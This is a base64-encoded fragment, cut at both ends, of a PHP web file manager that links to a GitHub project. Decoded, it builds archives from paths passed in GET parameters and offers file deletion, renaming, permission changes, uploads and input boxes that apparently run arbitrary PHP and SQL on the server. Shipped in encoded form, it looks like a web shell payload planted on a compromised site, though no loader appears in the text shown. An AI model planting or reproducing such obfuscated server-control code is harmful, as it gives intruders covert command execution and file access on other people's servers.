J107CgkJfQogICAgfSBlbHNlaWYgKGlzc2V0KCRfR0VUWyd6aXAnXSkpIHsKCQkkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnemlwJ10pOwoJCSRkZXN0aW5hdGlvbiA9IGJhc2VuYW1lKCRzb3VyY2UpLicuemlwJzsKCQlzZXRfdGltZV9saW1pdCgwKTsKCQkkcGhhciA9IG5ldyBQaGFyRGF0YSgkZGVzdGluYXRpb24pOwoJCSRwaGFyLT5idWlsZEZyb21EaXJlY3RvcnkoJHNvdXJjZSk7CgkJaWYgKGlzX2ZpbGUoJGRlc3RpbmF0aW9uKSkKCQkkbXNnIC49IF9fKCdUYXNrJykuJyAiJy5fXygnQXJjaGl2aW5nJykuJyAnLiRkZXN0aW5hdGlvbi4nIiAnLl9fKCdkb25lJykuCgkJJy4mbmJzcDsnLmZtX2xpbmsoJ2Rvd25sb2FkJywkcGF0aC4kZGVzdGluYXRpb24sX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZGVzdGluYXRpb24pCgkJLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4gJGRlc3RpbmF0aW9uLiciID4nLl9fKCdEZWxldGUnKSAuICc8L2E+JzsKCQllbHNlICRtc2cgLj0gX18oJ0Vycm9yIG9jY3VycmVkJykuJzogJy5fXygnbm8gZmlsZXMnKTsKCX0gZWxzZWlmIChpc3NldCgkX0dFVFsnZ3onXSkpIHsKCQkkc291cmNlID0gYmFzZTY0X2RlY29kZSgkX0dFVFsnZ3onXSk7CgkJJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsKCQkkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7CgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpOwoJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsKCQljbGVhcnN0YXRjYWNoZSgpOwoJCXNldF90aW1lX2xpbWl0KDApOwoJCS8vZGllKCk7CgkJJHBoYXIgPSBuZXcgUGhhckRhdGEoJGRlc3RpbmF0aW9uKTsKCQkkcGhhci0+YnVpbGRGcm9tRGlyZWN0b3J5KCRzb3VyY2UpOwoJCSRwaGFyLT5jb21wcmVzcyhQaGFyOjpHWiwnLnRhci5neicpOwoJCXVuc2V0KCRwaGFyKTsKCQlpZiAoaXNfZmlsZSgkYXJjaGl2ZSkpIHsKCQkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUuJy5neicpKSB7CgkJCQl1bmxpbmsoJGFyY2hpdmUpOyAKCQkJCSRkZXN0aW5hdGlvbiAuPSAnLmd6JzsKCQkJfQoKCQkJJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLgoJCQknLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikKCQkJLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4kZGVzdGluYXRpb24uJyIgPicuX18oJ0RlbGV0ZScpLic8L2E+JzsKCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpOwoJfSBlbHNlaWYgKGlzc2V0KCRfR0VUWydkZWNvbXByZXNzJ10pKSB7CgkJLy8gJHNvdXJjZSA9IGJhc2U2NF9kZWNvZGUoJF9HRVRbJ2RlY29tcHJlc3MnXSk7CgkJLy8gJGRlc3RpbmF0aW9uID0gYmFzZW5hbWUoJHNvdXJjZSk7CgkJLy8gJGV4dCA9IGVuZChleHBsb2RlKCIuIiwgJGRlc3RpbmF0aW9uKSk7CgkJLy8gaWYgKCRleHQ9PSd6aXAnIE9SICRleHQ9PSdneicpIHsKCQkJLy8gJHBoYXIgPSBuZXcgUGhhckRhdGEoJHNvdXJjZSk7CgkJCS8vICRwaGFyLT5kZWNvbXByZXNzKCk7CgkJCS8vICRiYXNlX2ZpbGUgPSBzdHJfcmVwbGFjZSgnLicuJGV4dCwnJywkZGVzdGluYXRpb24pOwoJCQkvLyAkZXh0ID0gZW5kKGV4cGxvZGUoIi4iLCAkYmFzZV9maWxlKSk7CgkJCS8vIGlmICgkZXh0PT0ndGFyJyl7CgkJCQkvLyAkcGhhciA9IG5ldyBQaGFyRGF0YSgkYmFzZV9maWxlKTsKCQkJCS8vICRwaGFyLT5leHRyYWN0VG8oZGlyKCRzb3VyY2UpKTsKCQkJLy8gfQoJCS8vIH0gCgkJLy8gJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0RlY29tcHJlc3MnKS4nICcuJHNvdXJjZS4nIiAnLl9fKCdkb25lJyk7Cgl9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ2d6ZmlsZSddKSkgewoJCSRzb3VyY2UgPSBiYXNlNjRfZGVjb2RlKCRfR0VUWydnemZpbGUnXSk7CgkJJGFyY2hpdmUgPSAkc291cmNlLicudGFyJzsKCQkkZGVzdGluYXRpb24gPSBiYXNlbmFtZSgkc291cmNlKS4nLnRhcic7CgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB1bmxpbmsoJGFyY2hpdmUpOwoJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgdW5saW5rKCRhcmNoaXZlLicuZ3onKTsKCQlzZXRfdGltZV9saW1pdCgwKTsKCQkvL2VjaG8gJGRlc3RpbmF0aW9uOwoJCSRleHRfYXJyID0gZXhwbG9kZSgnLicsYmFzZW5hbWUoJHNvdXJjZSkpOwoJCWlmIChpc3NldCgkZXh0X2FyclsxXSkpIHsKCQkJdW5zZXQoJGV4dF9hcnJbMF0pOwoJCQkkZXh0PWltcGxvZGUoJy4nLCRleHRfYXJyKTsKCQl9IAoJCSRwaGFyID0gbmV3IFBoYXJEYXRhKCRkZXN0aW5hdGlvbik7CgkJJHBoYXItPmFkZEZpbGUoJHNvdXJjZSk7CgkJJHBoYXItPmNvbXByZXNzKFBoYXI6OkdaLCRleHQuJy50YXIuZ3onKTsKCQl1bnNldCgkcGhhcik7CgkJaWYgKGlzX2ZpbGUoJGFyY2hpdmUpKSB7CgkJCWlmIChpc19maWxlKCRhcmNoaXZlLicuZ3onKSkgewoJCQkJdW5saW5rKCRhcmNoaXZlKTsgCgkJCQkkZGVzdGluYXRpb24gLj0gJy5neic7CgkJCX0KCQkJJG1zZyAuPSBfXygnVGFzaycpLicgIicuX18oJ0FyY2hpdmluZycpLicgJy4kZGVzdGluYXRpb24uJyIgJy5fXygnZG9uZScpLgoJCQknLiZuYnNwOycuZm1fbGluaygnZG93bmxvYWQnLCRwYXRoLiRkZXN0aW5hdGlvbixfXygnRG93bmxvYWQnKSxfXygnRG93bmxvYWQnKS4nICcuICRkZXN0aW5hdGlvbikKCQkJLicmbmJzcDs8YSBocmVmPSInLiR1cmxfaW5jLicmZGVsZXRlPScuJGRlc3RpbmF0aW9uLicmcGF0aD0nIC4gJHBhdGguJyIgdGl0bGU9IicuX18oJ0RlbGV0ZScpLicgJy4kZGVzdGluYXRpb24uJyIgPicuX18oJ0RlbGV0ZScpLic8L2E+JzsKCQl9IGVsc2UgJG1zZyAuPSBfXygnRXJyb3Igb2NjdXJyZWQnKS4nOiAnLl9fKCdubyBmaWxlcycpOwoJfQo/Pgo8dGFibGUgY2xhc3M9Indob2xlIiBpZD0iaGVhZGVyX3RhYmxlIiA+Cjx0cj4KICAgIDx0aCBjb2xzcGFuPSIyIj48Pz1fXygnRmlsZSBtYW5hZ2VyJyk/Pjw/PSghZW1wdHkoJHBhdGgpPycgLSAnLiRwYXRoOicnKT8+PC90aD4KPC90cj4KPD9waHAgaWYoIWVtcHR5KCRtc2cpKXsgPz4KPHRyPgoJPHRkIGNvbHNwYW49IjIiIGNsYXNzPSJyb3cyIj48Pz0kbXNnPz48L3RkPgo8L3RyPgo8P3BocCB9ID8+Cjx0cj4KICAgIDx0ZCBjbGFzcz0icm93MiI+CgkJPHRhYmxlPgoJCQk8dHI+CgkJCTx0ZD4KCQkJCTw/PWZtX2hvbWUoKT8+CgkJCTwvdGQ+CgkJCTx0ZD4KCQkJPD9waHAgaWYoIWVtcHR5KCRmbV9jb25maWdbJ21ha2VfZGlyZWN0b3J5J10pKSB7ID8+CgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkaXJuYW1lIiBzaXplPSIxNSI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJta2RpciIgdmFsdWU9Ijw/PV9fKCdNYWtlIGRpcmVjdG9yeScpPz4iPgoJCQkJPC9mb3JtPgoJCQk8P3BocCB9ID8+CgkJCTwvdGQ+CgkJCTx0ZD4KCQkJPD9waHAgaWYoIWVtcHR5KCRmbV9jb25maWdbJ25ld19maWxlJ10pKSB7ID8+CgkJCQk8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0iPD89JHVybF9pbmM/PiI+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlbmFtZSIgc2l6ZT0iMTUiPgoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ibWtmaWxlIiB2YWx1ZT0iPD89X18oJ05ldyBmaWxlJyk/PiI+CgkJCQk8L2Zvcm0+CgkJCTw/cGhwIH0gPz4KCQkJPC90ZD4KCQkJPHRkPgoJCQk8Pz1mbV9ydW5faW5wdXQoJ3BocCcpPz4KCQkJPC90ZD4KCQkJPHRkPgoJCQk8Pz1mbV9ydW5faW5wdXQoJ3NxbCcpPz4KCQkJPC90ZD4KCQkJPC90cj4KCQk8L3RhYmxlPgogICAgPC90ZD4KICAgIDx0ZCBjbGFzcz0icm93MyI+CgkJPHRhYmxlPgoJCTx0cj4KCQk8dGQ+CgkJPD9waHAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWyd1cGxvYWRfZmlsZSddKSkgeyA/PgoJCQk8Zm9ybSBuYW1lPSJmb3JtMSIgbWV0aG9kPSJwb3N0IiBhY3Rpb249Ijw/PSR1cmxfaW5jPz4iIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgoJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRoIiB2YWx1ZT0iPD89JHBhdGg/PiIgLz4KCQkJPGlucHV0IHR5cGU9ImZpbGUiIG5hbWU9InVwbG9hZCIgaWQ9InVwbG9hZF9oaWRkZW4iIHN0eWxlPSJwb3NpdGlvbjogYWJzb2x1dGU7IGRpc3BsYXk6IGJsb2NrOyBvdmVyZmxvdzogaGlkZGVuOyB3aWR0aDogMDsgaGVpZ2h0OiAwOyBib3JkZXI6IDA7IHBhZGRpbmc6IDA7IiBvbmNoYW5nZT0iZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3VwbG9hZF92aXNpYmxlJykudmFsdWUgPSB0aGlzLnZhbHVlOyIgLz4KCQkJPGlucHV0IHR5cGU9InRleHQiIHJlYWRvbmx5PSIxIiBpZD0idXBsb2FkX3Zpc2libGUiIHBsYWNlaG9sZGVyPSI8Pz1fXygnU2VsZWN0IHRoZSBmaWxlJyk/PiIgc3R5bGU9ImN1cnNvcjogcG9pbnRlcjsiIG9uY2xpY2s9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd1cGxvYWRfaGlkZGVuJykuY2xpY2soKTsiIC8+CgkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InRlc3QiIHZhbHVlPSI8Pz1fXygnVXBsb2FkJyk/PiIgLz4KCQkJPC9mb3JtPgoJCTw/cGhwIH0gPz4KCQk8L3RkPgoJCTx0ZD4KCQk8P3BocCBpZiAoJGF1dGhbJ2F1dGhvcml6ZSddKSB7ID8+CgkJCTxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPiZuYnNwOyZuYnNwOyZuYnNwOwoJCQk8aW5wdXQgbmFtZT0icXVpdCIgdHlwZT0iaGlkZGVuIiB2YWx1ZT0iMSI+CgkJCTw/PV9fKCdIZWxsbycpPz4sIDw/PSRhdXRoWydsb2dpbiddPz4KCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ijw/PV9fKCdRdWl0Jyk/PiI+CgkJCTwvZm9ybT4KCQk8P3BocCB9ID8+CgkJPC90ZD4KCQk8dGQ+CgkJPD89Zm1fbGFuZ19mb3JtKCRsYW5ndWFnZSk/PgoJCTwvdGQ+CgkJPHRyPgoJCTwvdGFibGU+CiAgICA8L3RkPgo8L3RyPgo8L3RhYmxlPgo8dGFibGUgY2xhc3M9ImFsbCIgYm9yZGVyPScwJyBjZWxsc3BhY2luZz0nMScgY2VsbHBhZGRpbmc9JzEnIGlkPSJmbV90YWJsZSIgd2lkdGg9IjEwMCUiPgo8dGhlYWQ+Cjx0cj4gCiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdGaWxlbmFtZScpPz4gPC90aD4KICAgIDx0aCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj4gPD89X18oJ1NpemUnKT8+IDwvdGg+CiAgICA8dGggc3R5bGU9IndoaXRlLXNwYWNlOm5vd3JhcCI+IDw/PV9fKCdEYXRlJyk/PiA8L3RoPgogICAgPHRoIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnUmlnaHRzJyk/PiA8L3RoPgogICAgPHRoIGNvbHNwYW49IjQiIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPiA8Pz1fXygnTWFuYWdlJyk/PiA8L3RoPgo8L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cjw/cGhwCiRlbGVtZW50cyA9IGZtX3NjYW5fZGlyKCRwYXRoLCAnJywgJ2FsbCcsIHRydWUpOwokZGlycyA9IGFycmF5KCk7CiRmaWxlcyA9IGFycmF5KCk7CmZvcmVhY2ggKCRlbGVtZW50cyBhcyAkZmlsZSl7CiAgICBpZihAaXNfZGlyKCRwYXRoIC4gJGZpbGUpKXsKICAgICAgICAkZGlyc1tdID0gJGZpbGU7CiAgICB9IGVsc2UgewogICAgICAgICRmaWxlc1tdID0gJGZpbGU7CiAgICB9Cn0KbmF0c29ydCgkZGlycyk7IG5hdHNvcnQoJGZpbGVzKTsKJGVsZW1lbnRzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7Cgpmb3JlYWNoICgkZWxlbWVudHMgYXMgJGZpbGUpewogICAgJGZpbGVuYW1lID0gJHBhdGggLiAkZmlsZTsKICAgICRmaWxlZGF0YSA9IEBzdGF0KCRmaWxlbmFtZSk7CiAgICBpZihAaXNfZGlyKCRmaWxlbmFtZSkpewoJCSRmaWxlZGF0YVs3XSA9ICcnOwoJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19kaXJfc2l6ZSddKSYmIWZtX3Jvb3QoJGZpbGUpKSAkZmlsZWRhdGFbN10gPSBmbV9kaXJfc2l6ZSgkZmlsZW5hbWUpOwogICAgICAgICRsaW5rID0gJzxhIGhyZWY9IicuJHVybF9pbmMuJyZwYXRoPScuJHBhdGguJGZpbGUuJyIgdGl0bGU9IicuX18oJ1Nob3cnKS4nICcuJGZpbGUuJyI+PHNwYW4gY2xhc3M9ImZvbGRlciI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPiAnLiRmaWxlLic8L2E+JzsKICAgICAgICAkbG9hZGxpbms9IChmbV9yb290KCRmaWxlKXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCd6aXAnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7emlwJyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZSk7CgkJJGFybGluayAgPSAoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3onLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4kZmlsZSk7CiAgICAgICAgJHN0eWxlID0gJ3JvdzInOwoJCSBpZiAoIWZtX3Jvb3QoJGZpbGUpKSAkYWxlcnQgPSAnb25DbGljaz0iaWYoY29uZmlybShcJycgLiBfXygnQXJlIHlvdSBzdXJlIHlvdSB3YW50IHRvIGRlbGV0ZSB0aGlzIGRpcmVjdG9yeSAocmVjdXJzaXZlbHkpPycpLidcbiAvJy4gJGZpbGUuICdcJykpIGRvY3VtZW50LmxvY2F0aW9uLmhyZWYgPSBcJycgLiAkdXJsX2luYyAuICcmZGVsZXRlPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7IGVsc2UgJGFsZXJ0ID0gJyc7CiAgICB9IGVsc2UgewoJCSRsaW5rID0gCgkJCSRmbV9jb25maWdbJ3Nob3dfaW1nJ10mJkBnZXRpbWFnZXNpemUoJGZpbGVuYW1lKSAKCQkJPyAnPGEgdGFyZ2V0PSJfYmxhbmsiIG9uY2xpY2s9InZhciBsZWZ0byA9IHNjcmVlbi5hdmFpbFdpZHRoLzItMzIwO3dpbmRvdy5vcGVuKFwnJwoJCQkuIGZtX2ltZ19saW5rKCRmaWxlbmFtZSkKCQkJLidcJyxcJ3BvcHVwXCcsXCd3aWR0aD02NDAsaGVpZ2h0PTQ4MCxsZWZ0PVwnICsgbGVmdG8gKyBcJyxzY3JvbGxiYXJzPXllcyx0b29sYmFyPW5vLGxvY2F0aW9uPW5vLGRpcmVjdG9yaWVzPW5vLHN0YXR1cz1ub1wnKTtyZXR1cm4gZmFsc2U7IiBocmVmPSInLmZtX2ltZ19saW5rKCRmaWxlbmFtZSkuJyI+PHNwYW4gY2xhc3M9ImltZyI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PC9zcGFuPiAnLiRmaWxlLic8L2E+JwoJCQk6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aC4gJyIgdGl0bGU9IicgLiBfXygnRWRpdCcpIC4gJyI+PHNwYW4gY2xhc3M9ImZpbGUiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZS4nPC9hPic7CgkJJGVfYXJyID0gZXhwbG9kZSgiLiIsICRmaWxlKTsKCQkkZXh0ID0gZW5kKCRlX2Fycik7CiAgICAgICAgJGxvYWRsaW5rID0gIGZtX2xpbmsoJ2Rvd25sb2FkJywkZmlsZW5hbWUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZmlsZSk7CgkJJGFybGluayA9IGluX2FycmF5KCRleHQsYXJyYXkoJ3ppcCcsJ2d6JywndGFyJykpIAoJCT8gJycKCQk6ICgoZm1fcm9vdCgkZmlsZSl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3pmaWxlJywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlKSk7CiAgICAgICAgJHN0eWxlID0gJ3JvdzEnOwoJCSRhbGVydCA9ICdvbkNsaWNrPSJpZihjb25maXJtKFwnJy4gX18oJ0ZpbGUgc2VsZWN0ZWQnKS4nOiBcbicuICRmaWxlLiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlIC4gJyZwYXRoPScgLiAkcGF0aCAgLiAnXCciJzsKICAgIH0KICAgICRkZWxldGVsaW5rID0gZm1fcm9vdCgkZmlsZSkgPyAnJyA6ICc8YSBocmVmPSIjIiB0aXRsZT0iJyAuIF9fKCdEZWxldGUnKSAuICcgJy4gJGZpbGUgLiAnIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzwvYT4nOwogICAgJHJlbmFtZWxpbmsgPSBmbV9yb290KCRmaWxlKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmVuYW1lPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSZW5hbWUnKSAuJyAnLiAkZmlsZSAuICciPicgLiBfXygnUmVuYW1lJykgLiAnPC9hPic7CiAgICAkcmlnaHRzdGV4dCA9ICgkZmlsZT09Jy4nIHx8ICRmaWxlPT0nLi4nKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkZmlsZSAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSaWdodHMnKSAuJyAnLiAkZmlsZSAuICciPicgLiBAZm1fcmlnaHRzX3N0cmluZygkZmlsZW5hbWUpIC4gJzwvYT4nOwo/Pgo8dHIgY2xhc3M9Ijw/PSRzdHlsZT8+Ij4gCiAgICA8dGQ+PD89JGxpbms/PjwvdGQ+CiAgICA8dGQ+PD89JGZpbGVkYXRhWzddPz48L3RkPgogICAgPHRkIHN0eWxlPSJ3aGl0ZS1zcGFjZTpub3dyYXAiPjw/PWdtZGF0ZSgiWS1tLWQgSDppOnMiLCRmaWxlZGF0YVs5XSk/PjwvdGQ+CiAgICA8dGQ+PD89JHJpZ2h0c3RleHQ/PjwvdGQ+CiAgICA8dGQ+PD89JGRlbGV0ZWxpbms/PjwvdGQ+CiAgICA8dGQ+PD89JHJlbmFtZWxpbms/PjwvdGQ+CiAgICA8dGQ+PD89JGxvYWRsaW5rPz48L3RkPgogICAgPHRkPjw/PSRhcmxpbms/PjwvdGQ+CjwvdHI+Cjw/cGhwCiAgICB9Cn0KPz4KPC90Ym9keT4KPC90YWJsZT4KPGRpdiBjbGFzcz0icm93MyI+PD9waHAKCSRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7IAoJJHRvdGFsdGltZSA9ICRtdGltZVswXSArICRtdGltZVsxXSAtICRzdGFydHRpbWU7IAoJZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIiPkdpdGh1YjwvYT4gIHwgPGEgaHJlZj0iJy5mbV9zaXRlX3VybCgpLiciPi48L2E+JzsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfdmVyJ10pKSBlY2hvICcgfCBQSFAgJy5waHB2ZXJzaW9uKCk7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwX2luaSddKSkgZWNobyAnIHwgJy5waHBfaW5pX2xvYWRlZF9maWxlKCk7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfZ3QnXSkpIGVjaG8gJyB8ICcuX18oJ0dlbmVyYXRpb24gdGltZScpLic6ICcucm91bmQoJHRvdGFsdGltZSwyKTsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSBlY2hvICcgfCA8YSBocmVmPSI/cHJveHk9dHJ1ZSI+cHJveHk8L2E+JzsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBpbmZvJ10pKSBlY2hvICcgfCA8YSBocmVmPSI/cGhwaW5mbz10cnVlIj5waHBpbmZvPC9hPic7CglpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfeGxzJ10pJiYhZW1wdHkoJGxpbmspKSBlY2hvICcgfCA8YSBocmVmPSJqYXZhc2NyaXB0OiB2b2lkKDApIiBvbmNsaWNrPSJ2YXIgb2JqID0gbmV3IHRhYmxlMkV4Y2VsKCk7IG9iai5DcmVhdGVFeGNlbFNoZWV0KFwnZm1fdGFibGVcJyxcJ2V4cG9ydFwnKTsiIHRpdGxlPSInLl9fKCdEb3dubG9hZCcpLicgeGxzIj54bHM8L2E+JzsKCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fc2V0dGluZ3MnXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9mbV9zZXR0aW5ncz10cnVlIj4nLl9fKCdTZXR0aW5ncycpLic8L2E+JzsKCT8+CjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGRvd25sb2FkX3hscyhmaWxlbmFtZSwgdGV4dCkgewoJdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7CgllbGVtZW50LnNldEF0dHJpYnV0ZSgnaHJlZicsICdkYXRhOmFwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbDtiYXNlNjQsJyArIHRleHQpOwoJZWxlbWVudC5zZXRBdHRyaWJ1dGUoJ2Rvd25sb2FkJywgZmlsZW5hbWUpOwoJZWxlbWVudC5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwoJZG9jdW1lbnQuYm9keS5hcHBlbmRDaGlsZChlbGVtZW50KTsKCWVsZW1lbnQuY2xpY2soKTsKCWRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7Cn0KCmZ1bmN0aW9uIGJhc2U2NF9lbmNvZGUobSkgewoJZm9yICh2YXIgayA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIi5zcGxpdCgiIiksIGMsIGQsIGgsIGUsIGEsIGcgPSAiIiwgYiA9IDAsIGYsIGwgPSAwOyBsIDwgbS5sZW5ndGg7ICsrbCkgewoJCWMgPSBtLmNoYXJDb2RlQXQobCk7CgkJaWYgKDEyOCA+IGMpIGQgPSAxOwoJCWVsc2UKCQkJZm9yIChkID0gMjsgYyA+PSAyIDw8IDUgKiBkOykgKytkOwoJCWZvciAoaCA9IDA7IGggPCBkOyArK2gpIDEgPT0gZCA/IGUgPSBjIDogKGUgPSBoID8gMTI4IDogMTkyLCBhID0gZCAtIDIgLSA2ICogaCwgMCA8PSBhICYmIChlICs9ICg2IDw9IGEgPyAxIDogMCkgKyAoNSA8PSBhID8gMiA6IDApICsgKDQgPD0gYSA/IDQgOiAwKSArICgzIDw9IGEgPyA4IDogMCkgKyAoMiA8PSBhID8gMTYgOiAwKSArICgxIDw9IGEgPyAzMiA6IDApLCBhIC09IDUpLCAwID4gYSAmJiAodSA9IDYgKiAoZCAtIDEgLSBoKSwgZSArPSBjID4+IHUsIGMgLT0gYyA+PiB1IDw8IHUpKSwgZiA9IGIgPyBmIDw8IDYgLSBiIDogMCwgYiArPSAyLCBmICs9IGUgPj4gYiwgZyArPSBrW2ZdLCBmID0gZSAlICgxIDw8IGIpLCA2ID09IGIgJiYgKGIgPSAwLCBnICs9IGtbZl0pCgl9CgliICYmIChnICs9IGtbZiA8PCA2IC0gYl0pOwoJcmV0dXJuIGcKfQoKCnZhciB0YWJsZVRvRXhjZWxEYXRhID0gKGZ1bmN0aW9uKCkgewogICAgdmFyIHVyaSA9ICdkYXRhOmFwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbDtiYXNlNjQsJywKICAgIHRlbXBsYXRlID0gJzxodG1sIHhtbG5zOm89InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206b2ZmaWNlOm9mZmljZSIgeG1sbnM6eD0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6ZXhjZWwiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy9UUi9SRUMtaHRtbDQwIj48aGVhZD48IS0tW2lmIGd0ZSBtc28gOV0+PHhtbD48eDpFeGNlbFdvcmtib29rPjx4OkV4Y2VsV29ya3NoZWV0cz48eDpFeGNlbFdvcmtzaGVldD48eDpOYW1lPnt3b3Jrc2hlZXR9PC94Ok5hbWU+PHg6V29ya3NoZWV0T3B0aW9ucz48eDpEaXNwbGF5R3JpZGxpbmVzPjwveDpEaXNwbGF5R3JpZGxpbmVzPjwveDpXb3Jrc2hlZXRPcHRpb25zPjwveDpFeGNlbFdvcmtzaGVldD48L3g6RXhjZWxXb3Jrc2hlZXRzPjwveDpFeGNlbFdvcmtib29rPjwveG1sPjwhW2VuZGlmXS0tPjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY